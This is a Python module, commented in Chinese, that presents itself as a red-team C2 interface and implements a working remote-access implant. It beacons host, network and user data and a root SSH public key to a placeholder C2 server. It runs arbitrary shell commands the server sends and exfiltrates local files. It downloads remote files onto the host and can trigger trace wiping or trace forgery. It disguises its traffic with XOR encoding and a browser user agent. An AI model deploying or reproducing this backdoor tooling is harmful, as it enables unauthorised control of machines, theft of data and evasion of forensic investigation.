#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

红队C2协同接口模块
实现与C2平台的通信、状态上报和远程控制功能
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
import base64
import threading
import subprocess
import ssl
import socket
from typing import Dict, List, Tuple, Optional, Any, Callable
from dataclasses import dataclass, asdict
from enum import Enum
from datetime import datetime, timedelta
import logging
import hashlib
import hmac
import urllib.request
import urllib.parse
import urllib.error



try:
    from core.utils import color_green, color_yellow, color_red, color_blue
    from modules.redteam.heartbeat_monitor import HeartbeatMonitor, MonitorConfig
    from modules.redteam.evacuation_system import EvacuationSystem, EvacuationLevel
    from modules.redteam.backdoor_verification_engine import BackdoorVerificationEngine
except ImportError as e:
    print("导入模块失败: {}".format(e))


class C2Protocol(Enum):
    """C2通信协议"""
    HTTPS = "https"
    HTTP = "http"
    DNS = "dns"
    ICMP = "icmp"


class CommandType(Enum):
    """命令类型"""
    STATUS_CHECK = "status_check"
    EXECUTE_COMMAND = "execute_command"
    UPGRADE_BACKDOOR = "upgrade_backdoor"
    START_EVACUATION = "start_evacuation"
    UPLOAD_FILE = "upload_file"
    DOWNLOAD_FILE = "download_file"
    HEARTBEAT = "heartbeat"
    SHUTDOWN = "shutdown"


class AgentStatus(Enum):
    """代理状态"""
    ACTIVE = "active"
    IDLE = "idle"
    BUSY = "busy"
    ERROR = "error"
    OFFLINE = "offline"


@dataclass
class C2Config:
    """C2配置"""
    server_url: str = "https://c2.example.com"
    agent_id: str = ""
    api_key: str = ""
    heartbeat_interval: int = 300  # 5分钟
    max_retries: int = 3
    timeout: int = 30
    use_tls: bool = True
    user_agent: str = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
    proxy_url: str = ""
    encryption_key: str = ""


@dataclass
class C2Command:
    """C2命令"""
    command_id: str
    command_type: CommandType
    parameters: Dict[str, Any]
    timestamp: float
    executed: bool = False
    result: Optional[str] = None
    error: Optional[str] = None


@dataclass
class AgentReport:
    """代理报告"""
    agent_id: str
    timestamp: float
    status: AgentStatus
    system_info: Dict[str, Any]
    backdoor_status: Dict[str, Any]
    network_info: Dict[str, Any]
    credentials: List[str]


class C2Interface:
    """C2接口"""
    
    def __init__(self, config: C2Config):
        self.config = config
        self.agent_status = AgentStatus.IDLE
        self.command_queue = []
        self.executed_commands = []
        
        # 生成代理ID
        if not self.config.agent_id:
            self.config.agent_id = self._generate_agent_id()
        
        # 初始化组件
        self.heartbeat_monitor = None
        self.evacuation_system = None
        self.verification_engine = BackdoorVerificationEngine()
        
        # 通信线程
        self.heartbeat_thread = None
        self.command_thread = None
        self.stop_event = threading.Event()
        
        # 日志配置
        self._setup_logging()
        
        # SSL上下文
        self._setup_ssl_context()
    
    def _setup_logging(self):
        """设置日志"""
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
        )
        self.logger = logging.getLogger('c2_interface')
    
    def _setup_ssl_context(self):
        """设置SSL上下文"""
        self.ssl_context = ssl.create_default_context()
        if not self.config.use_tls:
            self.ssl_context.check_hostname = False
            self.ssl_context.verify_mode = ssl.CERT_NONE
    
    def _generate_agent_id(self) -> str:
        """生成代理ID"""
        try:
            # 基于主机信息生成唯一ID
            hostname = socket.gethostname()
            mac_address = self._get_mac_address()
            timestamp = str(int(time.time()))
            
            data = "{}_{}_{}".format(hostname, mac_address, timestamp)
            agent_id = hashlib.sha256(data.encode()).hexdigest()[:16]
            
            return "agent_{}".format(agent_id)
            
        except Exception as e:
            # 备用方案：随机生成
            import random
            return "agent_{}".format(random.randint(100000, 999999))
    
    def _get_mac_address(self) -> str:
        """获取MAC地址"""
        try:
            import uuid
            mac = uuid.getnode()
            return ':'.join(('%012X' % mac)[i:i+2] for i in range(0, 12, 2))
        except:
            return "00:00:00:00:00:00"
    
    def _encrypt_data(self, data: str) -> str:
        """加密数据"""
        if not self.config.encryption_key:
            return base64.b64encode(data.encode()).decode()
        
        try:
            # 简单的XOR加密
            key = self.config.encryption_key.encode()
            encrypted = bytearray()
            
            for i, byte in enumerate(data.encode()):
                encrypted.append(byte ^ key[i % len(key)])
            
            return base64.b64encode(encrypted).decode()
            
        except Exception as e:
            self.logger.error("数据加密失败: {}".format(e))
            return base64.b64encode(data.encode()).decode()
    
    def _decrypt_data(self, encrypted_data: str) -> str:
        """解密数据"""
        try:
            data = base64.b64decode(encrypted_data.encode())
            
            if not self.config.encryption_key:
                return data.decode()
            
            # 简单的XOR解密
            key = self.config.encryption_key.encode()
            decrypted = bytearray()
            
            for i, byte in enumerate(data):
                decrypted.append(byte ^ key[i % len(key)])
            
            return decrypted.decode()
            
        except Exception as e:
            self.logger.error("数据解密失败: {}".format(e))
            return ""
    
    def _make_request(self, endpoint: str, data: Dict[str, Any] = None, 
                     method: str = "POST") -> Optional[Dict[str, Any]]:
        """发送HTTP请求"""
        try:
            url = "{}/{}".format(self.config.server_url, endpoint)
            
            # 准备请求数据
            if data:
                json_data = json.dumps(data)
                encrypted_data = self._encrypt_data(json_data)
                post_data = urllib.parse.urlencode({'data': encrypted_data}).encode()
            else:
                post_data = None
            
            # 创建请求
            req = urllib.request.Request(url, data=post_data, method=method)
            req.add_header('User-Agent', self.config.user_agent)
            req.add_header('Content-Type', 'application/x-www-form-urlencoded')
            
            if self.config.api_key:
                req.add_header('Authorization', "Bearer {}".format(self.config.api_key))
            
            # 发送请求
            with urllib.request.urlopen(req, timeout=self.config.timeout,
                                      context=self.ssl_context) as response:
                response_data = response.read().decode()
                
                if response_data:
                    decrypted_data = self._decrypt_data(response_data)
                    return json.loads(decrypted_data)
                
                return {}
            
        except urllib.error.HTTPError as e:
            self.logger.error("HTTP错误 {}: {}".format(e.code, e.reason))
            return None
        except urllib.error.URLError as e:
            self.logger.error("URL错误: {}".format(e.reason))
            return None
        except Exception as e:
            self.logger.error("请求失败: {}".format(e))
            return None
    
    def register_agent(self) -> bool:
        """注册代理"""
        color_blue("📡 注册C2代理...")
        
        try:
            system_info = self._collect_system_info()
            
            registration_data = {
                'agent_id': self.config.agent_id,
                'timestamp': time.time(),
                'system_info': system_info,
                'capabilities': [
                    'command_execution',
                    'file_operations',
                    'backdoor_management',
                    'status_monitoring',
                    'evacuation_control'
                ]
            }
            
            response = self._make_request('register', registration_data)
            
            if response and response.get('status') == 'success':
                color_green("✅ 代理注册成功: {}".format(self.config.agent_id))
                self.agent_status = AgentStatus.ACTIVE
                return True
            else:
                color_red("❌ 代理注册失败")
                return False
                
        except Exception as e:
            color_red("代理注册异常: {}".format(e))
            return False
    
    def _collect_system_info(self) -> Dict[str, Any]:
        """收集系统信息"""
        try:
            system_info = {
                'hostname': socket.gethostname(),
                'platform': sys.platform,
                'python_version': sys.version,
                'working_directory': os.getcwd(),
                'user': os.getenv('USER', 'unknown'),
                'pid': os.getpid(),
                'mac_address': self._get_mac_address()
            }
            
            # 获取网络信息
            try:
                result = subprocess.run(['ip', 'addr', 'show'], 
                                      capture_output=True, text=True, timeout=10)
                if result.returncode == 0:
                    system_info['network_interfaces'] = result.stdout
            except:
                pass
            
            # 获取系统负载
            try:
                with open('/proc/loadavg', 'r') as f:
                    system_info['load_average'] = f.read().strip()
            except:
                pass
            
            return system_info
            
        except Exception as e:
            self.logger.error("系统信息收集失败: {}".format(e))
            return {}
    
    def start_communication(self):
        """启动通信"""
        color_blue("🚀 启动C2通信...")
        
        # 注册代理
        if not self.register_agent():
            color_red("❌ 代理注册失败，无法启动通信")
            return
        
        # 启动心跳线程
        self.heartbeat_thread = threading.Thread(target=self._heartbeat_loop, daemon=True)
        self.heartbeat_thread.start()
        
        # 启动命令处理线程
        self.command_thread = threading.Thread(target=self._command_loop, daemon=True)
        self.command_thread.start()
        
        color_green("✅ C2通信已启动")
    
    def stop_communication(self):
        """停止通信"""
        color_blue("🛑 停止C2通信...")
        
        self.stop_event.set()
        self.agent_status = AgentStatus.OFFLINE
        
        # 发送下线通知
        try:
            self._make_request('offline', {
                'agent_id': self.config.agent_id,
                'timestamp': time.time()
            })
        except:
            pass
        
        color_green("✅ C2通信已停止")
    
    def _heartbeat_loop(self):
        """心跳循环"""
        color_blue("💓 心跳循环启动...")
        
        while not self.stop_event.is_set():
            try:
                # 发送心跳
                self._send_heartbeat()
                
                # 等待下一次心跳
                if self.stop_event.wait(timeout=self.config.heartbeat_interval):
                    break
                    
            except Exception as e:
                self.logger.error("心跳循环异常: {}".format(e))
                time.sleep(60)  # 异常时等待1分钟
    
    def _send_heartbeat(self):
        """发送心跳"""
        try:
            # 收集状态信息
            report = self._generate_status_report()
            
            # 发送心跳
            response = self._make_request('heartbeat', asdict(report))
            
            if response:
                # 处理服务器响应
                if 'commands' in response:
                    for cmd_data in response['commands']:
                        command = C2Command(
                            command_id=cmd_data['command_id'],
                            command_type=CommandType(cmd_data['command_type']),
                            parameters=cmd_data.get('parameters', {}),
                            timestamp=cmd_data.get('timestamp', time.time())
                        )
                        self.command_queue.append(command)
                        color_blue("📨 收到命令: {}".format(command.command_type.value))
                
                color_green("💓 心跳发送成功")
            else:
                color_yellow("⚠️ 心跳发送失败")
                
        except Exception as e:
            color_red("心跳发送异常: {}".format(e))
    
    def _generate_status_report(self) -> AgentReport:
        """生成状态报告"""
        try:
            # 系统信息
            system_info = self._collect_system_info()
            
            # 后门状态
            backdoor_status = {}
            if self.heartbeat_monitor:
                backdoor_status = self.heartbeat_monitor.get_status_summary()
            
            # 网络信息
            network_info = self._collect_network_info()
            
            # 控制凭证
            credentials = self._collect_credentials()
            
            return AgentReport(
                agent_id=self.config.agent_id,
                timestamp=time.time(),
                status=self.agent_status,
                system_info=system_info,
                backdoor_status=backdoor_status,
                network_info=network_info,
                credentials=credentials
            )
            
        except Exception as e:
            self.logger.error("状态报告生成失败: {}".format(e))
            return AgentReport(
                agent_id=self.config.agent_id,
                timestamp=time.time(),
                status=AgentStatus.ERROR,
                system_info={},
                backdoor_status={},
                network_info={},
                credentials=[]
            )
    
    def _collect_network_info(self) -> Dict[str, Any]:
        """收集网络信息"""
        try:
            network_info = {}
            
            # 获取IP地址
            try:
                result = subprocess.run(['hostname', '-I'], 
                                      capture_output=True, text=True, timeout=5)
                if result.returncode == 0:
                    network_info['ip_addresses'] = result.stdout.strip().split()
            except:
                pass
            
            # 获取网络连接
            try:
                result = subprocess.run(['netstat', '-an'], 
                                      capture_output=True, text=True, timeout=10)
                if result.returncode == 0:
                    # 只保留前20行，避免数据过大
                    lines = result.stdout.split('\n')[:20]
                    network_info['connections'] = '\n'.join(lines)
            except:
                pass
            
            return network_info
            
        except Exception as e:
            self.logger.error("网络信息收集失败: {}".format(e))
            return {}
    
    def _collect_credentials(self) -> List[str]:
        """收集控制凭证"""
        try:
            credentials = []
            
            # SSH密钥
            ssh_key_path = "/root/.ssh/id_rsa.pub"
            if os.path.exists(ssh_key_path):
                with open(ssh_key_path, 'r') as f:
                    credentials.append("SSH_KEY:{}".format(f.read().strip()))
            
            # 当前用户信息
            credentials.append("USER:{}".format(os.getenv('USER', 'unknown')))
            credentials.append("UID:{}".format(os.getuid() if hasattr(os, 'getuid') else 'unknown'))
            
            # 主机信息
            credentials.append("HOST:{}".format(socket.gethostname()))
            credentials.append("IP:{}".format(socket.gethostbyname(socket.gethostname())))
            
            return credentials
            
        except Exception as e:
            self.logger.error("凭证收集失败: {}".format(e))
            return []
    
    def _command_loop(self):
        """命令处理循环"""
        color_blue("⚙️ 命令处理循环启动...")
        
        while not self.stop_event.is_set():
            try:
                if self.command_queue:
                    command = self.command_queue.pop(0)
                    self._execute_command(command)
                else:
                    time.sleep(1)  # 没有命令时短暂等待
                    
            except Exception as e:
                self.logger.error("命令处理循环异常: {}".format(e))
                time.sleep(5)
    
    def _execute_command(self, command: C2Command):
        """执行命令"""
        color_blue("⚙️ 执行命令: {}".format(command.command_type.value))
        self.agent_status = AgentStatus.BUSY
        
        try:
            if command.command_type == CommandType.STATUS_CHECK:
                result = self._handle_status_check(command)
            elif command.command_type == CommandType.EXECUTE_COMMAND:
                result = self._handle_execute_command(command)
            elif command.command_type == CommandType.UPGRADE_BACKDOOR:
                result = self._handle_upgrade_backdoor(command)
            elif command.command_type == CommandType.START_EVACUATION:
                result = self._handle_start_evacuation(command)
            elif command.command_type == CommandType.UPLOAD_FILE:
                result = self._handle_upload_file(command)
            elif command.command_type == CommandType.DOWNLOAD_FILE:
                result = self._handle_download_file(command)
            elif command.command_type == CommandType.SHUTDOWN:
                result = self._handle_shutdown(command)
            else:
                result = "未知命令类型: {}".format(command.command_type.value)
            
            command.result = result
            command.executed = True
            color_green("✅ 命令执行完成: {}".format(command.command_type.value))
            
        except Exception as e:
            command.error = str(e)
            command.executed = True
            color_red("❌ 命令执行失败: {} - {}".format(command.command_type.value, e))
        
        finally:
            self.executed_commands.append(command)
            self.agent_status = AgentStatus.ACTIVE
            
            # 发送执行结果
            self._send_command_result(command)
    
    def _handle_status_check(self, command: C2Command) -> str:
        """处理状态检查命令"""
        report = self._generate_status_report()
        return json.dumps(asdict(report), indent=2, ensure_ascii=False)
    
    def _handle_execute_command(self, command: C2Command) -> str:
        """处理执行命令"""
        cmd = command.parameters.get('command', '')
        timeout = command.parameters.get('timeout', 30)
        
        if not cmd:
            return "错误: 未指定命令"
        
        try:
            result = subprocess.run(cmd, shell=True, capture_output=True, 
                                  text=True, timeout=timeout)
            
            output = "返回码: {}\n".format(result.returncode)
            output += "标准输出:\n{}\n".format(result.stdout)
            if result.stderr:
                output += "标准错误:\n{}\n".format(result.stderr)
            
            return output
            
        except subprocess.TimeoutExpired:
            return "错误: 命令执行超时 ({}秒)".format(timeout)
        except Exception as e:
            return "错误: 命令执行失败 - {}".format(e)
    
    def _handle_upgrade_backdoor(self, command: C2Command) -> str:
        """处理后门升级命令"""
        backdoor_type = command.parameters.get('backdoor_type', '')
        new_config = command.parameters.get('config', {})
        
        # 这里可以集成后门升级逻辑
        return "后门升级功能待实现: {}".format(backdoor_type)
    
    def _handle_start_evacuation(self, command: C2Command) -> str:
        """处理启动撤离命令"""
        level = command.parameters.get('level', 'fast')
        
        try:
            if not self.evacuation_system:
                self.evacuation_system = EvacuationSystem()
            
            if level == 'fast':
                result = self.evacuation_system.fast_evacuation()
            elif level == 'deep':
                result = self.evacuation_system.deep_evacuation()
            elif level == 'forge':
                result = self.evacuation_system.forge_traces()
            else:
                return "错误: 未知撤离级别 - {}".format(level)
            
            return json.dumps(result, indent=2, ensure_ascii=False)
            
        except Exception as e:
            return "撤离执行失败: {}".format(e)
    
    def _handle_upload_file(self, command: C2Command) -> str:
        """处理文件上传命令"""
        file_path = command.parameters.get('file_path', '')
        
        if not file_path or not os.path.exists(file_path):
            return "错误: 文件不存在 - {}".format(file_path)
        
        try:
            with open(file_path, 'rb') as f:
                file_data = base64.b64encode(f.read()).decode()
            
            upload_data = {
                'agent_id': self.config.agent_id,
                'file_path': file_path,
                'file_data': file_data,
                'timestamp': time.time()
            }
            
            response = self._make_request('upload', upload_data)
            
            if response and response.get('status') == 'success':
                return "文件上传成功: {}".format(file_path)
            else:
                return "文件上传失败: {}".format(file_path)
                
        except Exception as e:
            return "文件上传异常: {}".format(e)
    
    def _handle_download_file(self, command: C2Command) -> str:
        """处理文件下载命令"""
        file_url = command.parameters.get('file_url', '')
        save_path = command.parameters.get('save_path', '')
        
        if not file_url or not save_path:
            return "错误: 缺少文件URL或保存路径"
        
        try:
            # 下载文件
            req = urllib.request.Request(file_url)
            req.add_header('User-Agent', self.config.user_agent)
            
            with urllib.request.urlopen(req, timeout=self.config.timeout) as response:
                file_data = response.read()
            
            # 保存文件
            os.makedirs(os.path.dirname(save_path), exist_ok=True)
            with open(save_path, 'wb') as f:
                f.write(file_data)
            
            return "文件下载成功: {}".format(save_path)
            
        except Exception as e:
            return "文件下载失败: {}".format(e)
    
    def _handle_shutdown(self, command: C2Command) -> str:
        """处理关闭命令"""
        delay = command.parameters.get('delay', 0)
        
        def delayed_shutdown():
            time.sleep(delay)
            self.stop_communication()
            sys.exit(0)
        
        if delay > 0:
            threading.Thread(target=delayed_shutdown, daemon=True).start()
            return "将在 {} 秒后关闭".format(delay)
        else:
            self.stop_communication()
            return "正在关闭..."
    
    def _send_command_result(self, command: C2Command):
        """发送命令执行结果"""
        try:
            result_data = {
                'agent_id': self.config.agent_id,
                'command_id': command.command_id,
                'executed': command.executed,
                'result': command.result,
                'error': command.error,
                'timestamp': time.time()
            }
            
            self._make_request('command_result', result_data)
            
        except Exception as e:
            self.logger.error("命令结果发送失败: {}".format(e))
    
    def set_heartbeat_monitor(self, monitor: HeartbeatMonitor):
        """设置心跳监控器"""
        self.heartbeat_monitor = monitor
    
    def set_evacuation_system(self, evacuation: EvacuationSystem):
        """设置撤离系统"""
        self.evacuation_system = evacuation


def main():
    """主函数"""
    # 创建C2配置
    config = C2Config(
        server_url="https://c2.example.com",
        api_key="your_api_key_here",
        heartbeat_interval=300,
        encryption_key="your_encryption_key"
    )
    
    # 创建C2接口
    c2_interface = C2Interface(config)
    
    try:
        # 启动通信
        c2_interface.start_communication()
        
        # 保持运行
        color_blue("C2接口运行中，按 Ctrl+C 停止...")
        while True:
            time.sleep(60)
            
    except KeyboardInterrupt:
        color_blue("收到停止信号...")
    finally:
        c2_interface.stop_communication()


if __name__ == "__main__":
    main()